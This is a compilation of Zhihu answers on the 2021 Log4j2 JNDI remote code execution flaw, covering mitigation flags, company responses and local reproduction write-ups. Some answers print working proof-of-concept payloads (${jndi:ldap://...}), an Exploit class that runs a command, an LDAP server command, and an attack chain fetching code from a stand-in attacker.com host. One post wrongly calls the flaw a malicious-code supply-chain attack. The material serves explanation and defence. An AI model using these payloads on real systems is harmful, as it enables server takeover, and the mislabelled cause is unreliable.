(1) 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true

(2) 修改配置 log4j2.formatMsgNoLookups=True

(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

参考链接

https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://github.com/apache/logging-log4j2/pull/608
https://github.com/tangxiaofeng7/apache-log4j-poc
https://logging.apache.org/log4j/2.x/changes-report.html#a2.15.0
https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup
https://github.com/advisories/GHSA-jfh8-c2jp-5v3q

知乎用户 超光速二狗子 发表

给非技术的读者打个比方:

大家要打仗,建城组织军队。(开发应用)

有一种兵法特别好,叫军屯,大家都喜欢。基本上大型军队都会用。(Java)

军屯兵法是兵仙创作和维护的。(官方库)

但是兵仙有些细节懒得写,大家各有补充。(社区库)

其中有个细节,每个军屯军队都有一堆破事,要记军营日记备查,兵仙说了规矩,没有说具体怎么记怎么看。(日志)

有个兵王觉得不能随随便便,就搞了个记军营日记的小兵法。(Apache Log4j)

这个军营日记小兵法很好,规定详细,应用简单,除了要专门日记官,没啥缺点,全世界用了军屯的,都喜欢用它。(Log4j 应用非常广,就是有点耗资源,不敢说九成九 Java 项目用,感觉八成有)

用得多,呼声高,兵王也乐于升级,大家看兵王发新兵法了也都用。(Log4j2)

升级的小兵法里,规定了,如果日志上写 “参见某处”,就要去看参阅的文件,内容写过来。(jndi)

好死不死,军队抓了个细作,拷打时,细作嘴巴很硬,只说:“今天晚上的军令参见大单于帐下军令文件!”,记录日记的官员老老实实记录下来。(jndi:ldap, jndi:rmi)

写日记的官员,按小兵法规定,要去 “参见大单于帐下军令文件”,虽然大单于是打仗对手,日记官员二话不说骑马出发。(查询 ldap 目标)

大单于看到对面竟然来人了,还是要帐下军令文件,大吃一惊,随口说了句:“你们傻吗咋不自杀呢”。(外部提供任意 Java class)

结果日记官按小兵法规定,老老实实带回 “你们傻吗咋不自杀呢”,写到军营日记上。(注入)

轮到大伙儿看日记找命令了。军屯令行禁止,雷厉风行,大家一看 “你们傻吗咋不自杀呢”,二话不说,全部自杀了。

大单于当天傻眼了,对面军队尽然全部自杀了,分析了一下,找到原因。(零日漏洞)

大单于广派细作,被抓到就说一句话:“今天晚上的军令参见大单于帐下军令文件”。(利用漏洞)

第二天,用了升级版小兵法的军屯军队,有的自杀了,有的把物资全部搬到大单于那里,有的开始打自己人 … …

大家发现了,开始改规定,给小兵法加补充规定,或者禁止部分小兵法,或者不准细作说话抓到就打死。(rc1,rc2,jvm 参数,流量过滤)

但是,军屯军队太多,更恼火的是,因为军营日记这事又细节又基础,有些军屯兵营直接交给师爷,有些元帅甚至都不知道有没有用小兵法 … …

于是,席卷全球的军屯大整风开始了 … … 可是没有整到的地方,大单于就还能嘿嘿嘿 … …

知乎用户 非著名程序员​ 发表

想必大家昨天都被 Log4j 爆出的核弹级漏洞给刷屏了吧?

昨天早上,流行度超高的 Java 日志框架 Log4j2 ,被曝出了一个惊天大漏洞。

该漏洞影响范围之广,后果有多恐怖,恐怕 Java 界的程序员们应该心里明白。这个漏洞的严重性、影响面堪称今年之最了。

12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。

据悉,Apache Log4j 2.x <= 2.14.1 版本均会受到影响。根据 “微步在线研究响应中心” 消息,可能的受影响应用包括但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。很多互联网企业都连夜做了应急措施。

攻击者可以利用漏洞远程执行代码,最终获得服务器的最高权限,接下来,就可以为所欲为了。

该漏洞最早是被阿里云安全团队发现的,并在 11 月 24 日就报告给了 Apache 官方。随后,在 2021 年 12 月 7 日 Apache 官方发布了针对此漏洞的补丁版( log4j-2.15.0-rc1 )。

但是,出人意料的是,在 12 月 9 日,也就是昨天网络中出现了利用此漏洞的攻击行为。

接下来的事情,作为程序员,我们就可想而知了,一个不眠之夜就来了,安全团队就得紧急针对该漏洞进行补救了。

就在昨天,关于 log4j2 的表情包也诞生了。

![](data:image/svg+xml;utf8,)

然后,我又看到很多网友的评论,说因为 log4j2 此次漏洞事件,他们老板说以后让他们自己写一个类似的功能包。

其实,通过这件事,让我想起了另外一件事。

在 2021 年 11 月 9 日的时候,有个国外的程序员,写了一篇文章叫:《安全的软件供应链:为什么每个环节都很重要》。

什么叫安全软件供应链呢?

软件供应链简单来讲就是你开发的产品其实只是供应链当中的一个环节,因为你的产品可能涉及到了硬件,公共库,第三方依赖库,还有其他软件工具,这些东西一起组成了供应链。

在这篇文章当中,他提到了 “软件供应链攻击” 的概念。

“软件供应链攻击” 指的是攻击软件所依赖的代码库或服务。

最常见的供应链攻击有两种形式,一是:起一个跟依赖库或域名很容易混淆的名字;二是:向依赖库注入恶意代码。

软件供应链攻击可以直接针对您,也可以针对任何上游元素(如外部依赖项或提供的服务),因此您要么直接遭受攻击,要么成为受损资源的供应商,从而成为受害者。

看到这里,我们就知道了,说白了, log4j2 的这次漏洞就属于软件供应链攻击当中的向依赖库注入恶意代码。

log4j2 作为一个第三方的依赖包,大量的项目在使用它,它一旦出现了漏洞,使用这个包的项目就会受到攻击。

我从作者的文章当中看到,趋势表明,供应链攻击正以每年 4-5 倍的指数速度增加,去年就有数千起。

所以,对于软件的安全问题,从供应链攻击的角度来看,这是一个庞大的系统工程,也是一个需要各个链条上相互协作的工程。

在未来的网络安全,软件安全当中,可能因为公共库的增加,依赖库的使用增加和广泛性,供应链攻击将会成为常态。

知乎用户 严肃的白小白​ 发表

真是平地一声雷,一个超高级别的 bug 把所有厂商都炸醒了。本来是可以划水半天的大周五,程序员们都得起来升版本发布代码修复这个问题了。具体漏洞的危害和原理,其他的回答里已经写的够详细了,我就整理一下各个大厂的解决方案,给大家一个参考吧。

腾讯

官方漏洞描述

漏洞编号:暂无

漏洞等级:高后_ 该漏洞影响范围极广,危害极大

CVSS 评分:10(最高级)

受影脑版本:Apache log4j2 2.0 - 2.14.1

安全版本:Apache log4j-2.15.0-rc2 (2.15.0-rc1 版,经腾讯安全专家验证可以被绕过)

漏洞描述:该漏洞只需要外部用户输入的恶意代码被日志记录,即可触发代码执行,该漏洞使用者能在目标设备上远程执行任意恶意代码。

修复建议

官方补丁

缓解措施:

  • jvm 参数 -Dlog4j2.formatMsgNoLookups=true
  • log4j2.formatMsg Nolookups=True

点评:升级补丁肯定是根除的方法,不过也提供了暂时缓解措施。

美团

一、漏洞描述

log4j2 是日志框架 Log4j 的升级,在公司内被广泛使用,经信息安全中心监测,log4j2 存在 rce 漏洞。

二、漏洞原理

Log4j2 中的某标签的属性中未对 name 中协议限制,导致攻击者可构造恶意标签,实现命令执行。

如果 Log4j2 需要打印的消息中有外部攻击者可控的变量,或打印来自上游不可控的数据,攻击者可构造恶意标签,在业务服务器上执行恶意命令,导致代码、密码等敏感文件泄露,公司服务器被入侵,作为跳板机向 IDC 其他机器横向攻击。利用门槛低,危害极大。目前安全组已复现该漏洞。

三、修复方式、自查方法

修复原理

org.apache.logging.log4j:log4j-core 在 2.10.0 以上增加了不启用 lookup 的配置项,但是默认关闭,官方暂无提供默认开启的正式版本。

美团日志框架(xmd-log4j2)封装了 log4j2,在 1.4.1 将开关默认打开,防御上面的攻击场景。

美团内大部分业务使用 xmd-log4j2,xmd-log4j2 会引入 log4j2,故使用 com.meituan.inf:xmd-log4j2 引入的 org.apache.logging.log4j:log4j-core,需升级 com.meituan.inf:xmd-log4j2 到最新版本(1.4.1)完成修复。注:切勿使用 xmd-log4j2 2.0.0-Snapshot 包,这不是修复包。

通过 maven 配置更新 xmd-log4j2,使用最新版本(1.4.1),或使用 inf-bom 1.4.14.1。

点评:美团安全组还复现了一下漏洞,给团子点个赞。美团因为全部业务都接入了美团日志框架(xmd-log4j2),所以直接升级公司的统一框架即可解决该漏洞,可以说是非常人性化了。目前公司要求互联网应用及对公网提供服务的应用最迟须在 24 小时内完成修复,所以,美团的发布系统 PLUS 已经挂了……

阿里

使用了 rasp,加了拦截策略。原理算是字节码增强,通过配置的规则,检测到了攻击就进行上报,或者直接抛出异常。这算是个防御手段,按照阿里人的说法,目前是止血。

点评:阿里并没有像其他公司那样要求全公司升级 log4j 的版本,这一点感觉有些奇怪。不过偷偷摸摸的就把问题都拦截住了,也没有折腾大家去发版升级,也算是技术强悍的体现了。后续操作持续关注中……

字节

安全措施

安全部门将对公司全部 Java 服务进行组件扫描与升级,禁止低版本 Log4j 组件在线上运行。

同时,我们也将开启针对低版本、高风险组件(Log4j2 和 FastJSON)的安全卡点。

升级措施

请所有正在线上运行的 Java 服务相关研发同学自查:

1. 服务是否使用 Log4j 2.x.x 版本(包括直接、间接依赖;1.x 版本不受影响)

2. 服务是否使用 FastJSON < 1.2.69 版本(1.2.69 是目前允许的最低安全版本)

如不清楚服务具体依赖的组件信息,请通过此表格查询依赖关系(控制可见范围,需单独申请权限)

本次修复仅针对 Java 服务端,使用 Java 的 Android 客户端同学不受影响

若服务在上述范围内,无论对内 / 对外服务,请同学立刻将服务依赖升级到以下安全版本:

log4j 2.15.0:https://logging.apache.org/log4j/2.x/download.html

FastJSON 1.2.76: https://github.com/alibaba/fastjson/releases

点评:通过扫描 Java 代码仓库来排查没有升级的项目,也算是地毯式搜索了。并且禁止禁止低版本 Log4j 组件,连带着经常出问题的 FastJSON 也一并加入安全卡点并进行升级,也算是未雨绸缪了。

其他互联网大厂应对措施正在跟进中……

知乎用户 民工哥​ 发表

前几天这个 Log4j2 漏洞 可是在互联网圈掀了一波浪:

民工哥:突发,Log4j2 爆出远程代码执行漏洞,各大厂纷纷中招!(附解决文案)

也有不少人说复现不了,那么今天再次来讨论一下这个问题。

0x00 简介

ApacheLog4j2 是一个开源的 Java 日志框架,被广泛地应用在中间件、开发框架与 Web 应用中。

0x01 漏洞概述

该漏洞是由于 Apache Log4j2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

0x02 影响范围

Apache Log4j 2.x <= 2.15.0-rc1

0x03 环境搭建

1、创建一个新的 maven 项目,并导入 Log4j 的依赖包

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

0x04 漏洞利用

1、使用 POC 测试

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
    public static final Logger logger = LogManager.getLogger();
    public static void main(String\[\] args) {
        logger.error("${jndi:ldap://localhost:8888/Exploit}");
    }
}

2、编译一恶意类 Exploit.class

首先新建 exp.java,然后编译为 class 文件

class Exploit {
    static {
        System.err.println("Pwned");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}
javac exp.java 

3、使用 marshalsec-0.0.3-SNAPSHOT-all.jar 本地开启一个 LDAP 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit" 8888

4、运行 poc.java,即可访问恶意类并执行写在其中的 “calc” 命令

结合一些其它 StrLookup 适当变形,以及配合官方测试用例中脏数据"?Type=A Type&Name=1100110&Char=!"可绕过 rc1,RC2 版本对此异常进行了捕获。

https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1…log4j-2.15.0-rc2

0x05 修复方式

目前,Apache 官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议同时采用如下临时措施进行漏洞防范:

  • 1)添加 jvm 启动参数 - Dlog4j2.formatMsgNoLookups=true;
  • 2)在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为 log4j2.formatMsgNoLookups=true;
  • 3)JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本;
  • 4)部署使用第三方防火墙产品进行安全防护。

链接:http://blog.csdn.net/qq_40989258/article/details/121862363

推荐阅读

如有错误或其它问题,欢迎小伙伴留言评论、指正。如有帮助,欢迎点赞 + 转发分享。
更多相关开源技术文章,请持续关注:民工哥知乎技术专栏

知乎用户 程序员子悠​ 发表

不得不说这次的这个漏洞影响范围之广,很多互联网大厂和开源软件都被影响到了,比较作为一个日持框架,在日常使用的场景非常多!

好多工程师昨晚都被拉起来修复漏洞了,不过据说 2021 年 11 月 24 日,我司阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞,可能这是为什么昨晚内部群很安静,没任何波澜的原因吧,毕竟有安全部门!YYDS!


王坚博士曾说:安全是互联网公司的生命,也是每一位网民的最基本需求。

由阿里知名白帽子道哥编写的白帽子讲 Web 安全分析了很多种 Web 安全,如下面所示,让我们为互联网的安全做一点小小的贡献。

完整的 pdf 通过下面的链接获取即可。

白帽子讲 Web 安全


漏洞描述

Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。 通过 JNDI 注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码,想想就很恐怖!

攻击原理:

通过用户输入包含特定字符的字符串,当运行日志对字符串进行记录的时候就会触发漏洞。特定的字符串形如:${jndi:ldap://xxxx},${jndi:rmi}

攻击步骤

攻击者向漏洞服务器发起攻击请求。 服务器通过 Log4j2 记录攻击请求中包含的基于 JNDI 和 LDAP 的恶意负载 ${jndi:ldap://http://attacker.com/},http://attacker.com 是攻击者控制的地址。 记录的恶意负载被触发,服务器通过 JNDI 向 http://attacker.com 请求。 http://attacker.com 就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码 http://second-stage.attacker.com/Exploit.class

攻击者执行恶意脚本。 受影响版本 Apache Log4j 2.x <= 2.14.1

此次 Apache Log4j2 远程代码执行漏洞风险已被业内评级为 “高危”,且漏洞危害巨大,利用门槛极低。有报道称,目前 Apache Solr、Apache Struts2、Apache Druid、Apache Flink 等众多组件及大型应用均已经受到了影响,需尽快采取方案阻止。

目前,Apache Log4j 已经发布了新版本来修复该漏洞,请受影响的用户将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本,同时升级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。

划重点

从这次漏洞可以看到,知名的开源软件都会有这样严重的漏洞,更何况我们自己写的代码呢?Web 安全是一个长期的话题,有很多比如跨站脚本攻击 XSS,跨站点请求伪造,点击劫持,SQL 注入,文件上传等等很多常见的漏洞。

白帽子讲 Web 安全

我是 @程序员子悠,如果大家觉得分享的内容有收获,欢迎点个赞,点个关注,码字不易一个赞一个关注都是鼓励,据说点赞关注的小伙伴都暴富了哦。

知乎用户 CrackingOysters 发表

12/11,更新在最后——

这个漏洞影响真的是大!

我平时不怎么接触 Java 的 (平时写 C++),但是上网搜一篇文章,照着做一下就可以重现。

朴素的理解是 log4j 在打日志的时候,会对打印的字符串进行处理,如果发现是 ${jndi:…},就会去取这个地址对应的 Java 对象。

所以如果你日志平时会打印用户输入的内容,那么用户就可以输入一串这样的字符串,导致在你的程序里执行任意的代码,想干什么就干什么!

下面是重现步骤,

  1. 创建一个 jndi 服务器,url。
  2. 然后是找到使用 log4j 打印日志的程序,这里我们自己写一个。
  3. 使得我们的程序接收 ${jndi:url/App} 的字符串并且被 log4j 打印到日志里。
  4. 这时候你的代码就会向第一步的服务器请求,一个 Java 类文件会被加载在你的程序里。

下面是 log4j 的出问题的 jndi call stack,而我的主函数仅仅是打了一行日志。。。

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Self {
    static Logger logger = LogManager.getLogger("Self.class");
    public static void main(String\[\] args) {
        logger.error("bad thing happen. ${jndi:ldap://localhost:1389/c}");
    }
    
}
Unsafe.park(boolean,long)\[native method\] (/java.base/jdk.internal.misc/Unsafe.class:-1)
LockSupport.park() (/java.base/java.util.concurrent.locks/LockSupport.class:341)
AbstractQueuedSynchronizer$ConditionNode.block() (/java.base/java.util.concurrent.locks/AbstractQueuedSynchronizer.class:506)
ForkJoinPool.unmanagedBlock(ForkJoinPool$ManagedBlocker) (/java.base/java.util.concurrent/ForkJoinPool.class:3463)
ForkJoinPool.managedBlock(ForkJoinPool$ManagedBlocker) (/java.base/java.util.concurrent/ForkJoinPool.class:3434)
AbstractQueuedSynchronizer$ConditionObject.await() (/java.base/java.util.concurrent.locks/AbstractQueuedSynchronizer.class:1623)
LinkedBlockingQueue.take() (/java.base/java.util.concurrent/LinkedBlockingQueue.class:435)
LdapRequest.getReplyBer(long) (/java.naming/com.sun.jndi.ldap/LdapRequest.class:120)
Connection.readReply(LdapRequest) (/java.naming/com.sun.jndi.ldap/Connection.class:444)
LdapClient.getSearchReply(LdapRequest,int,LdapResult,Hashtable) (/java.naming/com.sun.jndi.ldap/LdapClient.class:639)
LdapClient.search(String,int,int,int,int,boolean,String\[\],String,int,Control\[\],Hashtable,boolean,int) (/java.naming/com.sun.jndi.ldap/LdapClient.class:562)
LdapCtx.doSearch(Name,String,SearchControls,boolean,boolean) (/java.naming/com.sun.jndi.ldap/LdapCtx.class:2014)
LdapCtx.doSearchOnce(Name,String,SearchControls,boolean) (/java.naming/com.sun.jndi.ldap/LdapCtx.class:1962)
LdapCtx.c\_lookup(Name,Continuation) (/java.naming/com.sun.jndi.ldap/LdapCtx.class:1056)
ComponentContext.p\_lookup(Name,Continuation) (/java.naming/com.sun.jndi.toolkit.ctx/ComponentContext.class:542)
PartialCompositeContext.lookup(Name) (/java.naming/com.sun.jndi.toolkit.ctx/PartialCompositeContext.class:177)
GenericURLContext.lookup(String) (/java.naming/com.sun.jndi.toolkit.url/GenericURLContext.class:207)
ldapURLContext.lookup(String) (/java.naming/com.sun.jndi.url.ldap/ldapURLContext.class:94)
InitialContext.lookup(String) (/java.naming/javax.naming/InitialContext.class:409)
JndiManager.lookup(String) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.net/JndiManager.class:172)
JndiLookup.lookup(LogEvent,String) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/JndiLookup.class:56)
Interpolator.lookup(LogEvent,String) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/Interpolator.class:223)
StrSubstitutor.resolveVariable(LogEvent,String,StringBuilder,int,int) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/StrSubstitutor.class:1116)
StrSubstitutor.substitute(LogEvent,StringBuilder,int,int,List) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/StrSubstitutor.class:1038)
StrSubstitutor.substitute(LogEvent,StringBuilder,int,int) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/StrSubstitutor.class:912)
StrSubstitutor.replace(LogEvent,String) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/StrSubstitutor.class:467)
MessagePatternConverter.format(LogEvent,StringBuilder) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.pattern/MessagePatternConverter.class:132)
PatternFormatter.format(LogEvent,StringBuilder) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.pattern/PatternFormatter.class:38)
PatternLayout$PatternSerializer.toSerializable(LogEvent,StringBuilder) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.layout/PatternLayout.class:345)
PatternLayout.toText(AbstractStringLayout$Serializer2,LogEvent,StringBuilder) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.layout/PatternLayout.class:244)
PatternLayout.encode(LogEvent,ByteBufferDestination) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.layout/PatternLayout.class:229)
PatternLayout.encode(Object,ByteBufferDestination) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.layout/PatternLayout.class:59)
AbstractOutputStreamAppender.directEncodeEvent(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.appender/AbstractOutputStreamAppender.class:197)
AbstractOutputStreamAppender.tryAppend(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.appender/AbstractOutputStreamAppender.class:190)
AbstractOutputStreamAppender.append(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.appender/AbstractOutputStreamAppender.class:181)
AppenderControl.tryCallAppender(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/AppenderControl.class:156)
AppenderControl.callAppender0(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/AppenderControl.class:129)
AppenderControl.callAppenderPreventRecursion(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/AppenderControl.class:120)
AppenderControl.callAppender(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/AppenderControl.class:84)
LoggerConfig.callAppenders(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/LoggerConfig.class:543)
LoggerConfig.processLogEvent(LogEvent,LoggerConfig$LoggerConfigPredicate) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/LoggerConfig.class:502)
LoggerConfig.log(LogEvent,LoggerConfig$LoggerConfigPredicate) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/LoggerConfig.class:485)
LoggerConfig.log(String,String,StackTraceElement,Marker,Level,Message,Throwable) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/LoggerConfig.class:460)
DefaultReliabilityStrategy.log(Supplier,String,String,StackTraceElement,Marker,Level,Message,Throwable) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/DefaultReliabilityStrategy.class:63)
Logger.log(Level,Marker,String,StackTraceElement,Message,Throwable) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core/Logger.class:161)
AbstractLogger.tryLogMessage(String,StackTraceElement,Level,Marker,Message,Throwable) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:2198)
AbstractLogger.logMessageTrackRecursion(String,Level,Marker,Message,Throwable) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:2152)
AbstractLogger.logMessageSafely(String,Level,Marker,Message,Throwable) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:2135)
AbstractLogger.logMessage(String,Level,Marker,String,Throwable) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:2011)
AbstractLogger.logIfEnabled(String,Level,Marker,String,Throwable) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:1983)
AbstractLogger.error(String) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:740)
Self.main(String\[\]) (/Users/xialu/Downloads/repo/java-test/log4j\_program/src/Self.java:6)

工厂方法被调用的 stack trace

MyFactory.getObjectInstance(Object,Name,Context,Hashtable) (/Users/xialu/Downloads/repo/java-test/log4j\_program/src/MyFactory.java:27)
DirectoryManager.getObjectInstance(Object,Name,Context,Hashtable,Attributes) (/rt.jar/javax.naming.spi/DirectoryManager.class:194)
LdapCtx.c\_lookup(Name,Continuation) (/rt.jar/com.sun.jndi.ldap/LdapCtx.class:1113)
ComponentContext.p\_lookup(Name,Continuation) (/rt.jar/com.sun.jndi.toolkit.ctx/ComponentContext.class:542)
PartialCompositeContext.lookup(Name) (/rt.jar/com.sun.jndi.toolkit.ctx/PartialCompositeContext.class:177)
GenericURLContext.lookup(String) (/rt.jar/com.sun.jndi.toolkit.url/GenericURLContext.class:205)
ldapURLContext.lookup(String) (/rt.jar/com.sun.jndi.url.ldap/ldapURLContext.class:94)
InitialContext.lookup(String) (/rt.jar/javax.naming/InitialContext.class:417)
JndiManager.lookup(String) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.net/JndiManager.class:172)
JndiLookup.lookup(LogEvent,String) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/JndiLookup.class:56)
Interpolator.lookup(LogEvent,String) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/Interpolator.class:223)
StrSubstitutor.resolveVariable(LogEvent,String,StringBuilder,int,int) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/StrSubstitutor.class:1116)
StrSubstitutor.substitute(LogEvent,StringBuilder,int,int,List) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/StrSubstitutor.class:1038)
StrSubstitutor.substitute(LogEvent,StringBuilder,int,int) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/StrSubstitutor.class:912)
StrSubstitutor.replace(LogEvent,String) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.lookup/StrSubstitutor.class:467)
MessagePatternConverter.format(LogEvent,StringBuilder) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.pattern/MessagePatternConverter.class:132)
PatternFormatter.format(LogEvent,StringBuilder) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.pattern/PatternFormatter.class:38)
PatternLayout$PatternSerializer.toSerializable(LogEvent,StringBuilder) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.layout/PatternLayout.class:345)
PatternLayout.toText(AbstractStringLayout$Serializer2,LogEvent,StringBuilder) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.layout/PatternLayout.class:244)
PatternLayout.encode(LogEvent,ByteBufferDestination) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.layout/PatternLayout.class:229)
PatternLayout.encode(Object,ByteBufferDestination) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.layout/PatternLayout.class:59)
AbstractOutputStreamAppender.directEncodeEvent(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.appender/AbstractOutputStreamAppender.class:197)
AbstractOutputStreamAppender.tryAppend(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.appender/AbstractOutputStreamAppender.class:190)
AbstractOutputStreamAppender.append(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.appender/AbstractOutputStreamAppender.class:181)
AppenderControl.tryCallAppender(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/AppenderControl.class:156)
AppenderControl.callAppender0(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/AppenderControl.class:129)
AppenderControl.callAppenderPreventRecursion(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/AppenderControl.class:120)
AppenderControl.callAppender(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/AppenderControl.class:84)
LoggerConfig.callAppenders(LogEvent) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/LoggerConfig.class:543)
LoggerConfig.processLogEvent(LogEvent,LoggerConfig$LoggerConfigPredicate) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/LoggerConfig.class:502)
LoggerConfig.log(LogEvent,LoggerConfig$LoggerConfigPredicate) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/LoggerConfig.class:485)
LoggerConfig.log(String,String,StackTraceElement,Marker,Level,Message,Throwable) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/LoggerConfig.class:460)
DefaultReliabilityStrategy.log(Supplier,String,String,StackTraceElement,Marker,Level,Message,Throwable) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core.config/DefaultReliabilityStrategy.class:63)
Logger.log(Level,Marker,String,StackTraceElement,Message,Throwable) (/log4j-core-2.13.3.jar/org.apache.logging.log4j.core/Logger.class:161)
AbstractLogger.tryLogMessage(String,StackTraceElement,Level,Marker,Message,Throwable) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:2198)
AbstractLogger.logMessageTrackRecursion(String,Level,Marker,Message,Throwable) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:2152)
AbstractLogger.logMessageSafely(String,Level,Marker,Message,Throwable) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:2135)
AbstractLogger.logMessage(String,Level,Marker,String,Throwable) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:2011)
AbstractLogger.logIfEnabled(String,Level,Marker,String,Throwable) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:1983)
AbstractLogger.error(String) (/log4j-api-2.13.3.jar/org.apache.logging.log4j.spi/AbstractLogger.class:740)
Self.main(String\[\]) (/Users/xialu/Downloads/repo/java-test/log4j\_program/src/Self.java:6)

高版本禁止调用远程代码了,但这个漏洞仍然影响大,因为可以调用本地代码,这个本地代码可能可以创建对象,从而被恶意利用,干任何事。

这个可以利用的本地代码可以是,org.apache.naming.factory.BeanFactory (见 Exploiting JNDI Injections in Java | Veracode

作为不怎么写 Java 的,就不去试试这个特定的代码了。本地已经证明这个是可行的。

知乎用户 诗与星空​​ 发表

排查完了。

所以说,企业上云是唯一的选择。

知乎用户 Leekea 发表

笑死,一上班火急火燎问组长我们不会要加班吧,然后旁边人让我放心,我们用的还是 1. 几的版本,根本没影响。

知乎用户 ApacheAPISIX 中国社区 发表

近日网络上曝光了 Apache Log4j2 的远程代码执行漏洞。该漏洞在 Apache Log4j2 的开发团队完全修复之前提前曝光,导致在野利用,使用 Log4j2 的 2.x 至 2.14.1 的版本的项目均有被攻击风险。

漏洞利用分析

